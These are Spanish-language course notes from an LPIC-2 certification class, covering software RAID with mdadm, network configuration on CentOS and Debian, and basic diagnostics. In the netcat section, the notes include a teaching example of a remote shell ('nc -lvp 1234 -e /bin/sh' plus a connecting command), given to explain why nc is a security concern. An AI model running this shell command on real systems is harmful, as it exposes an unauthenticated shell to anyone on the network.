

# LPIC2 2021 Sesión 7 (2021-02-23)

## Documentación relacionada:

- Manual Certificación LPIC-2.pdf, pag 72
- Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/1-Gestión Avanzada de Discos.pdf
- Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/3-RAID/\*
- Presentaciones/2020/201/
- gdrive://
- Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/Gestion de Swap.txt

## Clase

### RAID

- documentación:
  - Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/1-Gestión Avanzada de Discos.pdf, pag 2
  - Manual Certificación LPIC-2.pdf, pag 72
- en certificación no preguntan por que es cada RAID (0,1,5,6)
- `mdadm ← yum install mdadm`
- **`/etc/mdadm/mdadm.conf`**

Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/3-RAID/1-Laboratorio crear un RAID 1 por software.pdf

Crear RAID y montar LVM sobre él (2-Laboratorio Volúmenes Lógicos+RAID1.pdf)

### Laboratorio -> Laboratorio RAID1 mdadm linux.txt

- crear partición (100%) del tipo Linux RAID **fd** en los discos sdb,sdc,sdd
- `mdadm -v -C /dev/md0 -n 2 /dev/sdb1 /dev/sdc1 -l 1 --spare-devices=1 /dev/sdd1`
  - nuevo dispositivo **`/dev/md0`** (sdb1, sdc1)
    - el nombre ha de ser **`/dev/mdX`**
  - RAID Level 1
  - un disco de **spare** (sdd1)
- formateamos y montamos:
  - `mkfs.ext3 /dev/md0`
  - `mount /dev/md0 /mnt`
- dejamos en terminal abierto una monitorización sobre el RAID: `watch mdadm --detail /dev/md0`
  - forzamos el fallo de uno de los discos: `mdadm /dev/md0 -f /dev/sdb1`
    - podemos ver en el terminal de **watch** como el sistema reemplaza el sdb1 por el spare sdd1
  - retiramos el disco «dañado»: `mdadm /dev/md0 -r /dev/sdb1`
    - vemos como no forma parte del RAID
  - y añadimos «otro»: `mdadm /dev/md0 -a /dev/sdb1`

- para eliminar el raid:
  - `umount /mnt`
  - `mdadm --stop /dev/md0`
  - `mdadm --remove /dev/md0`
  - es importante eliminar el superbloque (metadatos): `mdadm --zero-superblock /dev/sdb1 /dev/sdb1 /dev/sdc1 /dev/sdd1`
  - eliminar configuración: `cat /dev/null > /etc/mdadm.conf`
  - otro comando: `mdadm -As /dev/md0`
    - **-s**: escanea el `/etc/mdadm.conf`

Ejemplos de conversión de un raid a otro... RAID1→RAID3, ampliar RAID5

## Laboratorio (extra)

Sacar un disco de un raid existente y montarlo en un nuevo ordenador, como nuevo raid, para acceder a los datos contenidos

- `mdadm --create --verbose /dev/md1 --level=mirror --raid-devices=2 /dev/sdb1 missing`
- `mount /dev/md1 /mnt`

## Cabina ISCSI

Pendiente próxima semana

- Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/Configuración Almacenamiento ISCSI
- cabinas con openfiler, para conectarnos
- [http://clusterfrak.com/sysops/app\\_installs/openfiler\\_install/](http://clusterfrak.com/sysops/app_installs/openfiler_install/)
- <https://www.openfiler.com/>
- <http://vmwareinsight.com/Tutorials/2016/7/5799894/Step-by-Step-Configuration-Guide-for-Using-Openfiler-as-Shared-Storage-in-ESXi-and-vSphere-Environment>

## Networking Configuration

- documentos:
  - doc: Manual Certificación LPIC-2.pdf, pag 145
  - doc: Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Configuración de Red en Red Hat Enterprise Linux.pdf
  - doc: Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Configurar la red en RedHat7.txt
- `ip a`
- nombrar las tarjetas de red con **ethX**
  - **biosdecode**
  - modificar `/etc/default/grub`
    - `GRUB_CMDLINE_LINUX="... quiet net.ifnames=0 biosdevname=0"`
- archivo de configuración: `/etc/sysconfig/network-scripts/ifcfg-<netword_device>`

- al modificar: **systemctl restart network, ip link set <network\_device> down (y después up**
- desactivar IPv6 (si no se ha de utilizar)
- **NetworkManager**
- **hostname**
  - centos7:
    - **/etc/hostname**
    - `hostnamectl set-hostname <FQDN>`
  - centos6:
    - **/etc/sysconfig/network**
- modificar **/etc/hosts**
  - que las máquinas se puedan resolver entre ellas
  - como buena práctica, que sepa resolverse a si misma
- **/etc/resolv.conf**: servidores DNS para mi máquina
  - nameserver: servidores que resuelven
  - search: sufijo de búsqueda (lo que añade a los nombres que usamos para localizar máquinas)
  - domain: el dominio en el que trabajamos
- `netstat -r`
  - `route add/del...`
- alias IP (varias IPs en el mismo interfaz):
  - `vi /etc/sysconfig/network-scripts/ifcfg-<interfaz>`
    - renombro IPADDR a IPADDR0 y NETMASK a NETMASK0
    - añadido IPADDR1 y NETMASK1 con diferente IP
    - `systemctl restart network` (o `networkManager`)
  - copiar `/etc/sysconfig/network-scripts/ifcfg-<interfaz>` en `/etc/sysconfig/network-scripts/ifcfg-<interfaz>:0`
- forward paquetes (reenvío de paquetes entre 2 redes en 2 interfaces):
  - `/etc/sysctl.conf` → **`net.ipv4.ip_forward = 1`** → `sysctl -p` (aplicar)
- **/etc/nsswitch.conf**
  - resolución usuarios
- **nmtui**: networkManager «GUI»
  - `yum install NetworkManager-tui -y`
- **nmcli**: networkManager «CLI»
  - Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Lab interfaces de red con nmcli.txt
  - `nmcli connection show`
  - nos permite crear los ficheros de configuración (desde cero) en un comando
- **debian**:
  - **/etc/network/interfaces**
  - `service networking restart`
- Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Problemas de red en Linux.pdf
- `route`
- `arp`
- `ss, netstat` (deprecado por `ss`)
  - `netstat -tan | grep -i listen`: que estoy ofreciendo TCP
  - `netstat -putan | grep -i listen`
- `nc`: netcat, navaja suiza ← desinstalar ← `yum remove nc?`
  - Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Explicacion Topic 110 Security.txt
  - `shell reverso`
    - `nc -lvp 1234 -e /bin/sh &`
    - `nc 192.168.2.5 1234`
- **/etc/sysconfig/selinux** → disabled (preparativos para laboratorios)
  - y reiniciar (no hay servicio que controle esto)

From:  
<https://miguelangel.torresegea.es/wiki/> - **miguel angel torres egea**

Permanent link:  
<https://miguelangel.torresegea.es/wiki/info:cursos:pue:lpic2-2021:s7?rev=1614108913>

Last update: **23/02/2021 11:35**

